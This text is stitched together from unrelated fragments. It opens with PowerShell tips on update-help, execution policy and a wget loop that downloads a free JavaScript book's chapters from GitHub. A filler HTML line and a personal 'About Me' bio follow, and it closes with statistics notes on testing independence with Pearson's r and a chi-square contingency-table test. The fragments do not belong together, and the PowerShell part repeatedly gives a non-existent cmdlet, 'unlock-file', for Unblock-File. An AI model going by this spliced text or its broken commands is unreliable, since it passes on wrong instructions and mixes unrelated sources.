CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion <IP_ADDRESS>
And then update help files
update-help
P.S. If you tried some common command like unlock-file .\example.ps1
or wget [url]
, and error reported:
unlock-file : The term 'unlock-file' is not recognized as the name of a cmdlet, function, script file, or operable program.
Chances are, you are running an old version.
The default execution policy on Windows PowerShell is Restricted.
Use Set-ExecutionPolicy to change the execution policy to AllSigned or RemoteSigned.
Set-ExecutionPolicy -ExecutionPolicy AllSigned
Or, you can unblock a script to run it without changing the execution policy:
unlock-file .\example.ps1
.\example.ps1
Right now, a book series called You Don't Know JS comes to my interest. And it's avaliable free at github. I want to download it's fist serie (containing 3 chapters) to local disk D:\
You can save the scripts into a *.ps1 file. Or you can type and run these in PS.
for ($i=1; $i -le 3; $i++ )
{
wget https://raw.githubusercontent.com/getify/You-Dont-Know-JS/master/up%20%26%20going/ch$i.md -o D:\YDKJS_I_ch$i.md
}
Note that this book series is orginally in plain text with markdown syntax marked-up. You might need a markdown reader or someting to read it in good formatting.


A simple html child
Html contents also works ok!!!


About Me
I'm strategically-oriented who has led teams in the planning and execution of complex IT projects. Results-oriented and experienced in effectively communicating complex concepts to senior business leaders.
I'm currently focused on giving back to the community by mentoring the next generation of Web Developers in both hard and soft skills.
- Experienced coordinator of large, multinational teams
- Effective communicator at all levels of the organization
- Cross-functional, multiplatform application development technologies
- Understands IT expense and capital across multiple cost centers
- Experiences in IT merger & acquisition efforts


Suppose we have a bivariate sample $(X_{1},Y_{1}),(X_{2},Y_{2}),\ldots ,(X_{n},Y_{n})$ i.i.d. from a joint density (or joint pmf) $f(x,y)$. The question is to decide whether $X_{i}$ is independent of $Y_{i}$.
Testing independence in bivariate normal : We shall not discuss this problem in detail but instead quickly give some indicators and move on. Here we have $(X_{i},Y_{i})$ i.i.d bivariate normal random variables with $\mathbf{E}[X]=\mu_{1}$, $\mathbf{E}[Y]=\mu_{2}$, $\mbox{Var}(X)={\sigma}_{1}^{2}$, $\mbox{Var}(Y)={\sigma}_{2}^{2}$ and $\mbox{Corr}(X,Y)=\rho$. The testing problem is $H_{0}: \rho=0$ versus $H_{1}: \rho\not=0$. (Remember that if $(X,Y)$ is bivariate normal, then $X$ and $Y$ are independent if and only if $X$ and $Y$ are uncorrelated.
The natural statistic to consider is the sample correlation coefficient ( Pearson's $r$ statistic) $$ r_{n}:=\frac{s_{X,Y} }{s_{X}.s_{Y} } $$ where $s_{X}^{2},s_{Y}^{2}$ are the sample variances of $X$ and $Y$ and $s_{X,Y}=\frac{1}{n-1}\sum_{i=1}^{n}(X_{i}-\bar{X})(Y_{i}-\bar{Y})$ is the sample covariance. It is clear that the test should reject null hypothesis if $r_{n}$ is away from $0$. To decide the threshold we need the distribution of $r_{n}$ under the null hypothesis.
Fisher : Under the null hypothesis, $r_{n}^{2}$ has $\mbox{Beta}(\frac{1}{2}, \frac{n-2}{2})$ distribution.
Using this result, we can draw the threshold for rejection using the Beta distribution (of course the explicit threshold can only be computed numerically). If the assumption of normality of the data is not satisfied, then this test is invalid. However, for large $n$ as usual we can obtain an asymptotically level-$\alpha$ test.
Testing for independence in contingency tables : Here the measurements $X$ and $Y$ take values in $\{x_{1},\ldots ,x_{k}\}$ and $\{y_{1},\ldots ,y_{\ell}\}$, respectively. These $x_{i},y_{j}$ are categories, not numerical values (such as ''smoking'' and ''non-smoking''). Let the total number of samples be $n$ and let $N_{i,j}$ be the number of samples with values $(x_{i},y_{j})$. Let $N_{i\cdot}=\sum_{j}N_{i,j}$ and let $N_{\cdot j}=\sum_{i}N_{i,j}$.
We want to test $$\begin{align*} H_{0}&: X \mbox{ and } Y \mbox{ are independent} \\ H_{1}&: X \mbox{ and } Y \mbox{ are not independent}. \end{align*}$$
Let $\mu(i,j)=\mathbf{P}\{X=x_{i},Y=y_{j}\}$ be the joint pmf of $(X,Y)$ and let $p(i)$, $q(j)$ be the marginal pmfs of $X$ and $Y$ respectively. From the sample, our estimates for these probabilities would be $\hat{\mu}(i,j)=N_{i,j}/n$ and $\hat{p}(i)=N_{i\cdot}/n$ and $\hat{q}(j)=N_{\cdot j}/n$ (which are consistent in the sense that $\sum_{j}\hat{\mu}(i,j)=\hat{p}(i)$ etc).
Under the null hypothesis we must have $\mu(i,j)=p(i)q(j)$. We test if these equalities hold (approximately) for the estimates. That is, define $$ T=\sum_{i=1}^{k}\sum_{j=1}^{\ell}\frac{(N_{i,j}-n\hat{p}(i)\hat{q}(j))^{2} }{n\hat{p}(i)\hat{q}(j)}. $$ Note that this is in the usual form of a $\chi^{2}$ statistic (sum of $(\mbox{observed}-\mbox{expected})^{2}/\mbox{expected}$).
The number of terms is $k\ell$. We lose one d.f. as usual but in addition we estimate $(k-1)$ parameters $p(i)$ (the last one $p(k)$ can be got from the others) and $(\ell-1)$ parameters $q(j)$. Consequently, the total degress of freedom is $k\ell-1-(k-1)-(\ell-1)=(k-1)(\ell-1)$.
Hence, we reject the null hypothesis if $T > \chi_{(k-1)(\ell-1)}^{2}(\alpha)$ to get (an approximately) level $\alpha$ test.